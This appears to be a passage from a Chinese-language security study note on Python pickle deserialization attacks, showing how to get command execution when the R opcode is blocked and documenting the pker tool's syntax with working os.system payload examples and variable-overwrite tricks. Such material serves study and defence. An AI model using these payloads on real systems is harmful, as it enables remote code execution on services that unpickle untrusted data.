那么如果R被禁用了(也就是reduce被禁用)那么如何绕过 之前谈到过,__reduce__R指令是绑定的,禁止了R指令就禁止了__reduce__ 方法。那么,在禁止R指令的情况下,我们还能RCE吗?

  现在的目标是,利用指令码,构造出任意命令执行。那么我们需要找到一个函数调用fun(arg),其中funarg都必须可控。 可以看到上一个部分的load_build函数的定义:

这里的实现方式也就是上文的注所提到的:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。 它有什么安全隐患呢?我们来想想看:Student原先是没有__setstate__这个方法的。那么我们利用{'__setstate__': os.system}来BUILE这个对象,那么现在对象的__setstate__就变成了os.system;接下来利用"ls /"来再次BUILD这个对象,则会执行setstate("ls /") ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE. 然后这里也是可以反弹shell的

  1. pker中的针对pickle的特殊语法需要重点掌握(后文给出示例)
  2. 此外我们需要注意一点:python中的所有类、模块、包、属性等都是对象,这样便于对各操作进行理解。
  3. pker主要用到GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
以下module都可以是包含`.`的子module
调用函数时注意传入的参数类型要和示例一致
对应的opcode会被生成但并不与pker代码相互等价

GLOBAL
对应opcodeb'c'
获取module下的一个全局对象没有import的也可以比如下面的os):
GLOBAL('os', 'system')
输入module,instance(callablemodule都是instance)  

INST
对应opcodeb'i'
建立并入栈一个对象可以执行一个函数):
INST('os', 'system', 'ls')  
输入module,callable,para 

OBJ
对应opcodeb'o'
建立并入栈一个对象传入的第一个参数为callable可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls') 
输入callable,para

xxx(xx,...)
对应opcodeb'R'
使用参数xx调用函数xxx先将函数入栈再将参数入栈并调用

li[0]=321

globals_dic['local_var']='hello'
对应opcodeb's'
更新列表或字典的某项的值

xx.attr=123
对应opcodeb'b'
对xx对象进行属性设置

return
对应opcodeb'0'
出栈作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

注意:

  1. 由于opcode本身的功能问题,pker肯定也不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。
  2. pker解析S时,用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:
1
2
test="123"
return test

被解析为:

1
b"S'123'\np0\n0g0\n."
  • 覆盖直接由执行文件引入的secret模块中的namecategory变量:
1
2
3
4
secret=GLOBAL('__main__', 'secret') 
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'
  • 覆盖引入模块的变量:
1
2
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'

接下来会给出一些具体的基本操作的实例。

  • 通过b'R'调用:
1
2
3
4
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
  • 通过b'i'调用:
1
INST('os', 'system', 'whoami')
  • 通过b'c'b'o'调用:
1
OBJ(GLOBAL('os', 'system'), 'whoami')
  • 多参数调用函数
1
2
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])
  • 实例化对象是一种特殊的函数执行
1
2
3
4
5
animal = INST('__main__', 'Animal','1','2')
return animal
# 或者
animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
  • 其中,python原文件中包含:
1
2
3
4
5
class Animal:

    def __init__(self, name, category):
        self.name = name
        self.category = category
  • 也可以先实例化再赋值:
1
2
3
4
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal
  • 拼接opcode:将第一个pickle流结尾表示结束的.去掉,两者拼接起来即可。
  • 建立普通的类时,可以先pickle.dumps,再拼接至payload。

参考文章: 1、 https://github.com/H3rmesk1t/Security-Learning/blob/main/PythonSec/Python%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E2%80%94Python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/Python%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E2%80%94Python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md 2、 https://forum.butian.net/share/1929 3、 https://tttang.com/archive/1782/#toc__4 4、 https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYDOn%3DG%3Dzez%3DKd4D#toc-8 5、 https://zhuanlan.zhihu.com/p/89132768